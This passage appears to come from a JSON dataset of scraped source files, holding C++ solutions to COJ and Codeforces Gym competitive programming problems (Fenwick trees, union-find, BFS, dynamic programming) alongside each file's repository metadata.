v[r])) {\n ans += 1LL * (r - l) * (r - l - 1LL) / 2LL;\n l = r;\n }\n r++;\n }\n ans += 1LL * (r - l) * (r - l - 1LL) / 2LL;\n cout << ans / 4LL << \"\\n\";\n}\n" }, { "alpha_fraction": 0.369767427444458, "alphanum_fraction": 0.4000000059604645, "avg_line_length": 14.538461685180664, "blob_id": "bebe45d3b8b0912dc5e48f2a64dd3dd58ca3d500", "content_id": "bb57ec67c625f4bb07f2ec4623613f602aa26dce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 430, "license_type": "no_license", "max_line_length": 31, "num_lines": 26, "path": "/COJ/eliogovea-cojAC/eliogovea-p3115-Accepted-s758135.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nint tc, n, a[1005], b[1005];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n;\r\n\t\tint mx = 0;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> a[i] >> b[i];\r\n\t\t\tif (mx < a[i] + b[i]) {\r\n\t\t\t\tmx = a[i] + b[i];\r\n\t\t\t}\r\n\t\t}\r\n\t\tint ans = 0;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tans += mx - a[i] - b[i];\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.429370641708374, "alphanum_fraction": 0.4496503472328186, "avg_line_length": 17.324323654174805, "blob_id": "3d03d8025a0e11d2497f7571676238bfe295b88b", "content_id": "e95b42169eaad8cb15d59e56be9cabbb436add34", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1430, "license_type": "no_license", "max_line_length": 64, "num_lines": 74, "path": "/COJ/eliogovea-cojAC/eliogovea-p3734-Accepted-s994778.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000000007;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\nstruct fenwickTree {\r\n\tint n;\r\n\tvector <int> t;\r\n\tfenwickTree() {}\r\n\tfenwickTree(int _n) {\r\n\t\tn = _n;\r\n\t\tt = vector <int> (n + 1, 0);\r\n\t}\r\n\tvoid update(int p, int v) {\r\n\t\tassert(0 < p && p <= n);\r\n\t\twhile (p <= n) {\r\n\t\t\tadd(t[p], v);\r\n\t\t\tp += p & -p;\r\n\t\t}\r\n\t}\r\n\tint query(int p) {\r\n\t\tassert(0 <= p && p <= n);\r\n\t\tint res = 0;\r\n\t\twhile (p > 0) {\r\n\t\t\tadd(res, t[p]);\r\n\t\t\tp -= p & -p;\r\n\t\t}\r\n\t\treturn res;\r\n\t}\r\n};\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tint n;\r\n\t\tcin >> n;\r\n\t\tvector <int> a(n), b(n), c(n);\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> a[i];\r\n\t\t\tb[i] = a[i];\r\n\t\t}\r\n\t\tb.push_back(-1);\r\n\t\tsort(b.begin(), b.end());\r\n\t\tb.erase(unique(b.begin(), b.end()), b.end());\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tc[i] = lower_bound(b.begin(), b.end(), a[i]) - b.begin() + 1;\r\n\t\t}\r\n\t\tfenwickTree odd(b.size());\r\n\t\tfenwickTree even(b.size());\r\n\t\teven.update(1, 1);\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tif (a[i] & 1) {\r\n\t\t\t\teven.update(c[i], odd.query(c[i] - 1));\r\n\t\t\t\todd.update(c[i], even.query(c[i] - 1));\r\n\t\t\t} else {\r\n\t\t\t\teven.update(c[i], even.query(c[i] - 1));\r\n\t\t\t\todd.update(c[i], odd.query(c[i] - 1));\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << odd.query(b.size()) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3466311991214752, "alphanum_fraction": 0.35904255509376526, "avg_line_length": 16.763778686523438, "blob_id": "a766d37b1e15ba32c49bc2b9e0430ba576ed1dfb", "content_id": "10c81ae1d5596a89202407b0f29c5e1b782cbb12", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2256, "license_type": "no_license", "max_line_length": 68, "num_lines": 127, "path": "/Codeforces-Gym/100800 - 2015 United Kingdom and Ireland Programming Contest (UKIEPC 2015)/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015 United Kingdom and Ireland Programming Contest (UKIEPC 2015)\n// 100800I\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nchar mn[] = { 'b', 'c', 'd', 'g', 'k', 'n', 'p', 't' };\nchar mx[] = { 'B', 'C', 'D', 'G', 'K', 'N', 'P', 'T' };\n\nbool low( char x ){\n return ( 'a' <= x && x <= 'z' );\n}\n\nchar getNear( char x ){\n if( low(x) ){\n char HC = 'b';\n for( int i = 1; i < 8; i++ ){\n if( abs( HC - x ) > abs( mn[i] - x ) ){\n HC = mn[i];\n }\n }\n\n return HC;\n }\n\n char HC = 'B';\n for( int i = 1; i < 8; i++ ){\n if( abs( HC - x ) > abs( mx[i] - x ) ){\n HC = mx[i];\n }\n }\n\n return HC;\n}\n\nbool isHC( char x ){\n for( int i = 0; i < 8; i++ ){\n if( mn[i] == x || mx[i] == x ){\n return true;\n }\n }\n\n return false;\n}\n\nchar replaceHC( char x, char HC ){\n if( low(x) ){\n if( !low(HC) ){\n HC = 'a' + (HC - 'A');\n }\n }\n else if( low(HC) ){\n HC = 'A' + (HC - 'a');\n }\n\n return HC;\n}\n\nstring getFin( char HC ){\n if( !low(HC) ){\n return \"ah\";\n }\n\n int a = abs( HC - 'a' );\n int o = abs( HC - 'o' );\n int u = abs( HC - 'u' );\n\n if( a <= o && a <= u ){\n return \"ah\";\n }\n if( o <= u ){\n return \"oh\";\n }\n\n return \"uh\";\n}\n\nstring get_word( string w ){\n int n = w.size();\n string ret = \"\";\n\n ret += (char)getNear( w[0] );\n bool ok = false;\n\n for( int i = 1; i < n; i++ ){\n if( w[i] == '-' ){\n ok = true;\n continue;\n }\n\n if( isHC(w[i]) && ok ){\n ret += (char)replaceHC( w[i] , ret[0] );\n }\n else{\n ret += (char)w[i];\n }\n }\n\n if( isHC( ret[ ret.size()-1 ] ) ){\n ret += getFin( ret[ ret.size()-1 ] );\n }\n\n return ret;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n string line; getline( cin , line );\n string w = \"\";\n\n for( int i = 0; i < line.size(); i++ ){\n if( line[i] != ' ' ){\n w += (char)line[i];\n }\n else{\n cout << get_word(w) << ' ';\n w = \"\";\n }\n }\n\n cout << get_word(w) << '\\n';\n}\n" }, { "alpha_fraction": 0.4041095972061157, "alphanum_fraction": 0.4726027250289917, "avg_line_length": 16.25, "blob_id": "631b13f7f21284154a1f8cfeec5377d1e5442944", "content_id": "bc061820031b9025f6200da94e4719226fb6b561", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 292, "license_type": "no_license", "max_line_length": 40, "num_lines": 16, "path": "/COJ/eliogovea-cojAC/eliogovea-p1112-Accepted-s534484.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n\r\ndouble r1,r2;\r\n\r\nint main()\r\n{\r\n while(scanf(\"%lf%lf\",&r1,&r2)==2)\r\n {\r\n double AB=r1*(r1+r2)/(r2-r1);\r\n double a=asin(r1/AB)*360.0/M_PI;\r\n double m=(AB+r1)*r1/AB;\r\n printf(\"%.4lf %.2lf\\n\",m,a);\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3807106614112854, "alphanum_fraction": 0.4010152220726013, "avg_line_length": 11.586206436157227, "blob_id": "480e16fcedd05ece957773af7e61f4b3c52d316d", "content_id": "c7b2335193b629f5c2a793410702fe7f24635fae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 394, "license_type": "no_license", "max_line_length": 31, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p2654-Accepted-s539412.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<string>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nlong n;\r\nstring s;\r\n\r\nint main()\r\n{\r\n scanf(\"%ld\",&n);\r\n\r\n int k=0;\r\n while(n-(1<<k)>=0)\r\n {\r\n n-=(1<<k);\r\n k++;\r\n }\r\n\r\n for(int i=0; i<k; i++)\r\n {\r\n if(n&(1<<i))s+='7';\r\n else s+='4';\r\n }\r\n\r\n reverse(s.begin(),s.end());\r\n\r\n printf(\"%s\\n\",s.c_str());\r\n}\r\n" }, { "alpha_fraction": 0.33070865273475647, "alphanum_fraction": 0.3530183732509613, "avg_line_length": 18.052631378173828, "blob_id": "2ae526e2c8f4f1230de67606e1f4e9d1a169af62", "content_id": "9c1dd9e5d589733ee557643ba9bed5f9fea38095", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 762, "license_type": "no_license", "max_line_length": 72, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p3722-Accepted-s1009555.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint joseph(int n, int m) {\r\n\tint res = 0;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tres = (res + m) % i;\r\n\t}\r\n\treturn res + 1;\r\n}\r\n\r\nint ans[105];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n cin.tie(0);\r\n\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tfor (int i = 13; i <= 100; i++) {\r\n\t\tint cur = 1;\r\n\t\twhile (true) {\r\n int x = joseph(i, cur) - 1;\r\n x = (x - ((cur - 1) % i) + i) % i;\r\n if (x == 12) {\r\n break;\r\n //cout << \"ans \" << i << \" \" << cur << \" \" << x << \"\\n\";\r\n }\r\n //cout << i << \" \" << cur << \" \" << x << \"\\n\";\r\n\t\t\tcur++;\r\n\t\t}\r\n\t\tans[i] = cur;\r\n\t}\r\n\tint n;\r\n\twhile (cin >> n && n) {\r\n\t\tcout << ans[n] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.31418919563293457, "alphanum_fraction": 0.37162160873413086, "avg_line_length": 17.733333587646484, "blob_id": "64cc8d40c96165dd2a070e4e8e7e77ca0b146831", "content_id": "99ff83c8a3b5990ea05c6db0ba84b1fc9d60aa91", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 296, "license_type": "no_license", "max_line_length": 57, "num_lines": 15, "path": "/COJ/eliogovea-cojAC/eliogovea-p2156-Accepted-s702058.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nint tc, n;\r\ndouble x, p[105];\r\n\r\nint main() {\r\n\tscanf(\"%d\", &tc);\r\n\twhile (tc--) {\r\n\t\tscanf(\"%d%lf\", &n, &x);\r\n\t\tp[1] = 1.0;\r\n\t\tfor (int i = 1; i < n; i++)\r\n\t\t\tp[i + 1] = p[i] * (1.0 - x) + (1.0 - p[i]) * x;\r\n\t\tprintf(\"%.5lf\\n\", x * p[n] + (1.0 - x) * (1.0 - p[n]));\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.46521374583244324, "alphanum_fraction": 0.47611063718795776, "avg_line_length": 16.936508178710938, "blob_id": "a64d44c666ba45c6d64d4926e01de3691d6d18d6", "content_id": "245ec72ccca7b744b8f82ac61b209b5d35c27eed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1193, "license_type": "no_license", "max_line_length": 52, "num_lines": 63, "path": "/COJ/eliogovea-cojAC/eliogovea-p2764-Accepted-s596393.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <vector>\r\n#include <map>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 300010;\r\n\r\nvector<pair<int, int> > v;\r\n\r\nint p[MAXN], rank[MAXN];\r\n\r\nvoid make(int x) {\r\n\tp[x] = x;\r\n\trank[x] = 1;\r\n}\r\n\r\nint find(int x) {\r\n\tif (x != p[x]) p[x] = find(p[x]);\r\n\treturn p[x];\r\n}\r\n\r\nint join(int x, int y) {\r\n\tint px = find(x), py = find(y);\r\n\tif (px == py) return 1;\r\n\tif (rank[px] > rank[py]) p[py] = px;\r\n\telse if (rank[px] < rank[py]) p[px] = py;\r\n\telse {\r\n\t\tp[px] = py;\r\n\t\trank[py]++;\r\n\t}\r\n\treturn 0;\r\n}\r\n\r\nint id, n;\r\nmap<int, int> m;\r\nint pts[2 * MAXN];\r\n\r\nint main() {\r\n\tscanf(\"%d\", &n);\r\n\tfor (int i = 0, x, r; i < n; i++) {\r\n\t\tscanf(\"%d%d\", &x, &r);\r\n\t\tv.push_back(make_pair(r, x));\r\n\t}\r\n\r\n\tsort(v.begin(), v.end());\r\n\tint sol = 1;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tsol++; int a, b;\r\n\t\tif (m.find(v[i].second - v[i].first) == m.end()) {\r\n\t\t\tmake(id);\r\n\t\t\ta = m[v[i].second - v[i].first] = id++;\r\n\t\t}\r\n\t\telse a = m[v[i].second - v[i].first];\r\n\t\tif (m.find(v[i].second + v[i].first) == m.end()) {\r\n\t\t\tmake(id);\r\n\t\t\tb = m[v[i].second + v[i].first] = id++;\r\n\t\t}\r\n\t\telse b = m[v[i].second + v[i].first];\r\n\t\tsol += join(a, b);\r\n\t}\r\n\tprintf(\"%d\\n\", sol);\r\n}\r\n" }, { "alpha_fraction": 0.47133758664131165, "alphanum_fraction": 0.486806184053421, "avg_line_length": 17.280702590942383, "blob_id": "b8bf2f859b3e78ef473d1f5f00af6ca554847f89", "content_id": "cbe8db673d3c810efe4178ce6890c32b8b3b621b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1099, "license_type": "no_license", "max_line_length": 62, "num_lines": 57, "path": "/COJ/eliogovea-cojAC/eliogovea-p2584-Accepted-s731789.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <fstream>\r\n#include <sstream>\r\n#include <cstdio>\r\n#include <cstdlib>\r\n#include <cstring>\r\n#include <string>\r\n#include <cmath>\r\n#include <cassert>\r\n#include <climits>\r\n#include <list>\r\n#include <vector>\r\n#include <stack>\r\n#include <queue>\r\n#include <set>\r\n#include <map>\r\n#include <bitset>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nint n;\r\n\r\nstruct pt {\r\n\tint x;\r\n\tint y;\r\n\tpt() {}\r\n\tpt(int a, int b) {\r\n\t\tx = a; y = b;\r\n\t}\r\n} p[305];\r\n\r\nint cross(const pt &a, const pt &b, const pt &c) {\r\n\treturn (c.x - a.x) * (b.y - a.y) - (c.y - a.y) * (b.x - a.x);\r\n}\r\n\r\ndouble ans;\r\n\r\nint main() {\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++)\r\n\t\tcin >> p[i].x >> p[i].y;\r\n\tfor (int i = 0; i < n; i++)\r\n\t\tfor (int j = 0; j < i; j++) {\r\n\t\t\tint ap = 0, an = 0;\r\n\t\t\tfor (int k = 0; k < n; k++) {\r\n\t\t\t\tint c = cross(p[i], p[j], p[k]);\r\n\t\t\t\tif (c == 0) continue;\r\n\t\t\t\tif (c > 0 && c > ap) ap = c;\r\n\t\t\t\tif (c < 0 && -c > an) an = -c;\r\n\t\t\t}\r\n\t\t\tif (ap == 0 || an == 0) continue;\r\n\t\t\tif (ans < ap + an) ans = ap + an;\r\n\t\t}\r\n\tcout.precision(2);\r\n\tcout << fixed << ans / 2.0 << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3268892765045166, "alphanum_fraction": 0.3848857581615448, "avg_line_length": 17.620689392089844, "blob_id": "a7d74d11dfde5786420addd57d98c01935c3e458", "content_id": "ca2830896b950676caee2d2af5a3cff0f767de52", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 569, "license_type": "no_license", "max_line_length": 67, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p1787-Accepted-s551374.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#define MAXN 1000\r\n#define mod 1000000007\r\n\r\nint n,x=1,mx=1;\r\nlong long dp[MAXN+10][MAXN+10],ac[MAXN+10];\r\n\r\nint main()\r\n{\r\n ac[1]=1ll;\r\n\tfor(scanf(\"%d\",&n); n--;)\r\n\t{\r\n\t\tscanf(\"%d\",&x);\r\n\t\tif(x>mx)\r\n {\r\n for(int i=mx+1; i<=x; i++)\r\n\t\t\t{\r\n\t\t\t\tdp[i][1]=dp[i][i]=1;\r\n\t\t\t\tac[i]=1;\r\n\t\t\t\tfor(int j=2; j<i; j++)\r\n dp[i][j]=(dp[i-1][j-1]+(j*dp[i-1][j])%mod)%mod,\r\n ac[i]=(ac[i]+dp[i][j])%mod;\r\n ac[i]=(ac[i]+1)%mod;\r\n\t\t\t}\r\n\t\t\tmx=x;\r\n }\r\n printf(\"%lld\\n\",ac[x]);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.38650307059288025, "alphanum_fraction": 0.4141104221343994, "avg_line_length": 11.583333015441895, "blob_id": "3a5ead64a5d0afeb1264ed95dd9f7211c0690c3e", "content_id": "afb97df60dddf653855edee651f9b97c65cd4e81", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 326, "license_type": "no_license", "max_line_length": 39, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p2654-Accepted-s540316.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<string>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nlong n;\r\nstring s;\r\n\r\nint main()\r\n{\r\n scanf(\"%ld\",&n);\r\n\r\n int k=0;\r\n while(n-(1<<k)>=0)\r\n {\r\n n-=(1<<k);\r\n k++;\r\n }\r\n\r\n for(int i=k-1; i>=0; i--)\r\n printf(\"%c\",(n&(1<<i))?'7':'4');\r\n\r\n printf(\"\\n\");\r\n}\r\n" }, { "alpha_fraction": 0.34291377663612366, "alphanum_fraction": 0.36075320839881897, "avg_line_length": 23.871795654296875, "blob_id": "62a6efa73a15c9a8d1e1d7f8df3ee6746cef9d6a", "content_id": "bb12c76464e71f0f95279e01c98fb33449e1363a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1009, "license_type": "no_license", "max_line_length": 62, "num_lines": 39, "path": "/COJ/eliogovea-cojAC/eliogovea-p2864-Accepted-s622829.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst int MAXN = 300005;\r\n\r\ntypedef long long ll;\r\n\r\nll n, idx['z' + 5], sol;\r\nchar str[MAXN];\r\n\r\nmap<ll, ll> m;\r\n\r\nint main() {\r\n for (char c = 'A'; c <= 'Z'; c++)\r\n idx[c] = c - 'A';\r\n for (char c = 'a'; c <= 'z'; c++)\r\n idx[c] = c - 'a' + 'Z' - 'A' + 1ll;\r\n scanf(\"%lld%s\", &n, str);\r\n m[0] = 1;\r\n\r\n ll mask = 0ll;\r\n for (int i = 0; str[i]; i++) {\r\n //printf(\"%d %lld\\n\", i, sol);\r\n mask ^= (1ll << idx[str[i]]);\r\n for (char c = 'A'; c <= 'Z'; c++)\r\n if ( m.find( mask ^ (1ll << idx[c]) ) != m.end() )\r\n sol += m[ mask ^ (1ll << idx[c]) ];\r\n for (char c = 'a'; c <= 'z'; c++)\r\n if ( m.find( mask ^ (1ll << idx[c]) ) != m.end() )\r\n sol += m[ mask ^ (1ll << idx[c]) ];\r\n if (m.find(mask) != m.end()) {\r\n sol += m[mask];\r\n m[mask]++;\r\n }\r\n else\r\n m[mask] = 1ll;\r\n }\r\n printf(\"%lld\\n\", sol);\r\n}\r\n" }, { "alpha_fraction": 0.44562333822250366, "alphanum_fraction": 0.4801061153411865, "avg_line_length": 14.708333015441895, "blob_id": "70e1b258438e8453ace6a0ca47777a1987260913", "content_id": "0d77b5d5349a1364b27cfa1896cea040bf5c4e74", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 377, "license_type": "no_license", "max_line_length": 38, "num_lines": 24, "path": "/Codeforces-Gym/100735 - KTU Programming Camp (Day 1)/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// KTU Programming Camp (Day 1)\n// 100735G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int uno = 0 , cero = 0;\n\n string s; cin >> s;\n\n for(int i = 0; i < s.size(); i++){\n if(s[i] == '0') cero++;\n else uno++;\n }\n\n cout << min(cero, uno) << '\\n';\n}\n" }, { "alpha_fraction": 0.4941634237766266, "alphanum_fraction": 0.5116731524467468, "avg_line_length": 17.769229888916016, "blob_id": "e7c01bac6c7385866507a232bcc2f73cd54658f8", "content_id": "675bdc61a7fc5586d7f5a374f7a2078edec1866d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 514, "license_type": "no_license", "max_line_length": 51, "num_lines": 26, "path": "/COJ/eliogovea-cojAC/eliogovea-p2208-Accepted-s585639.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "///COJ - 2208 - Another Problem From My Teacher\r\n#include <cstdio>\r\n#include <algorithm>\r\n#include <vector>\r\nusing namespace std;\r\n\r\nint n, x;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d\", &n);\r\n\tvector<pair<int, int> > v(n);\r\n\r\n\tfor (int i = 0; i < n; i++)\r\n\t{\r\n\t\tscanf(\"%d\", &x);\r\n\t\tv[i] = make_pair(x, i);\r\n\t}\r\n\tsort(v.begin(), v.end());\r\n\tint pos = 0, sol = -1;\r\n\tfor (int i = 1; i < n; i++)\r\n\t\tif (v[i].second > v[pos].second)\r\n\t\t\tsol = max(sol, v[i].second - v[pos].second + 1);\r\n\t\telse pos = i;\r\n\tprintf(\"%d\\n\", sol);\r\n}\r\n" }, { "alpha_fraction": 0.3253968358039856, "alphanum_fraction": 0.35657596588134766, "avg_line_length": 18.82022476196289, "blob_id": "9ec4586826e2cb3416fb1c6b19d2d5f79eea5239", "content_id": "bfea61e2159f9f5110d56c0b31da4b779658366a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1764, "license_type": "no_license", "max_line_length": 105, "num_lines": 89, "path": "/Codeforces-Gym/100494 - 2014-2015 CT S02E03: Codeforces Trainings Season 2 Episode 3 (NCPC 2008 + USACO DEC07 + GCJ 2008 Qual)/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E03: Codeforces Trainings Season 2 Episode 3 (NCPC 2008 + USACO DEC07 + GCJ 2008 Qual)\n// 100494G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 1000;\n\nstring m[MAXN];\nbool mk[MAXN][MAXN];\nbool d[MAXN][MAXN];\n\nint movI[] = { 0 , 1 , 0 , -1 };\nint movJ[] = { 1 , 0 , -1 , 0 };\n\nint r, c;\n\nbool can_mov( int i, int j ){\n return ( i >= 0 && j >= 0 && i < r && j < c && m[i][j] != '#' && m[i][j] != 'T' );\n}\n\ntypedef pair<int,int> par;\n\npar cola[MAXN * MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"in.txt\",\"r\",stdin);\n\n cin >> c >> r;\n\n int xi, xj;\n\n for( int i = 0; i < r; i++ ){\n cin >> m[i];\n for( int j = 0; j < c; j++ ){\n if( m[i][j] == 'P' ){\n xi = i;\n xj = j;\n }\n else if( m[i][j] == 'T' ){\n for( int k = 0; k < 4; k++ ){\n int ii = i + movI[k];\n int jj = j + movJ[k];\n\n if( can_mov( ii , jj ) ){\n d[ii][jj] = true;\n }\n }\n }\n }\n }\n\n int sol = 0;\n\n int enq = 0, deq = 0;\n\n cola[enq++] = par( xi , xj );\n\n mk[ xi ][ xj ] = true;\n\n while( enq - deq ){\n int i = cola[deq].first;\n int j = cola[deq++].second;\n\n if( m[i][j] == 'G' ){\n sol++;\n }\n\n if( d[i][j] ){\n continue;\n }\n\n for( int k = 0; k < 4; k++ ){\n int ii = i + movI[k];\n int jj = j + movJ[k];\n\n if( can_mov( ii , jj ) && !mk[ii][jj] ){\n cola[enq++] = par( ii , jj );\n mk[ii][jj] = true;\n }\n }\n }\n\n cout << sol << '\\n';\n}\n" }, { "alpha_fraction": 0.3463999927043915, "alphanum_fraction": 0.3799999952316284, "avg_line_length": 14.91891860961914, "blob_id": "a6dd88626d36457a744891f84802c133ac0a9b46", "content_id": "fb2f1f6cf934bdfc6de7424f279d10b52cc34c34", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1250, "license_type": "no_license", "max_line_length": 55, "num_lines": 74, "path": "/COJ/eliogovea-cojAC/eliogovea-p3222-Accepted-s784267.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n/*\r\nconst int MAXN = 100010;\r\nvector<int> g[MAXN];\r\n\r\n\r\nint root;\r\nint main(){ freopen(\"dat.txt\",\"r\",stdin);\r\n\tint n;\r\n\twhile(cin >> n, n){\r\n\t\tfor(int i=0;i<n;i++){\r\n\r\n\t\t}\r\n\t}\r\n}\r\n*/\r\nconst int D = 22;\r\nconst int N = 2005;\r\n\r\nint n, d, a[N], sum[N];\r\nint dp[D][N];\r\n\r\nint f(int x) {\r\n\tint r = 10 * (x / 10);\r\n\tif (x % 10 >= 5) {\r\n\t\tr += 10;\r\n\t}\r\n\treturn r;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n >> d;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> a[i];\r\n\t\tsum[i] = a[i] + sum[i - 1];\r\n\t}\r\n\r\n\tfor (int i = 0; i <= d; i++) {\r\n\t\tfor (int j = 0; j <= n; j++) {\r\n\t\t\tdp[i][j] = 1 << 29;\r\n\t\t}\r\n\t}\r\n\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tdp[0][i] = f(sum[i]);\r\n\t}\r\n\r\n\tfor (int i = 0; i <= d; i++) {\r\n\t\tdp[i][0] = 0;\r\n\t}\r\n\tfor (int i = 1; i <= d; i++) {\r\n\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\tfor (int k = 0; k < j; k++) {\r\n\t\t\t\tint tmp = dp[i - 1][k] + f(sum[j] - sum[k]);\r\n\t\t\t\tif (tmp < dp[i][j]) {\r\n\t\t\t\t\tdp[i][j] = tmp;\r\n\t\t\t\t}\r\n\t\t\t\t//cout << i << \" \" << j << \" \" << dp[i][j] << \"\\n\";\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tint ans = -1;\r\n\tfor (int i = 0; i <= d; i++) {\r\n\t\tif (ans == -1 || dp[i][n] < ans) {\r\n\t\t\tans = dp[i][n];\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}" }, { "alpha_fraction": 0.35775861144065857, "alphanum_fraction": 0.38146552443504333, "avg_line_length": 21.200000762939453, "blob_id": "d8b9fca7729b2d193efd69403f89ffa1c768e3e7", "content_id": "3f610f09871abead5c5a103c1e8a28407c535659", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 464, "license_type": "no_license", "max_line_length": 58, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p1683-Accepted-s473012.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nlong sd[501];\r\nint c,n;\r\n\r\nint main(){\r\n for(int i=1; i<501; i++){\r\n for(int j=i; j<501; j+=i)sd[j]+=i;\r\n sd[i]-=i;\r\n }\r\n cin >> c;\r\n while(c--){\r\n cin >> n;\r\n if(sd[n]<n)cout << \"Deficient\" << endl;\r\n else if(sd[n]==n)cout << \"Perfect\" << endl;\r\n else cout << \"Abundant\" << endl;\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.48669201135635376, "alphanum_fraction": 0.5095056891441345, "avg_line_length": 16.785715103149414, "blob_id": "ded7ea44dc1cb2e303ae679df7ba2b169c3d6e0b", "content_id": "b1a5b9defc8d52a4593620810bd23c9965d386e9", "detected_licenses": [], 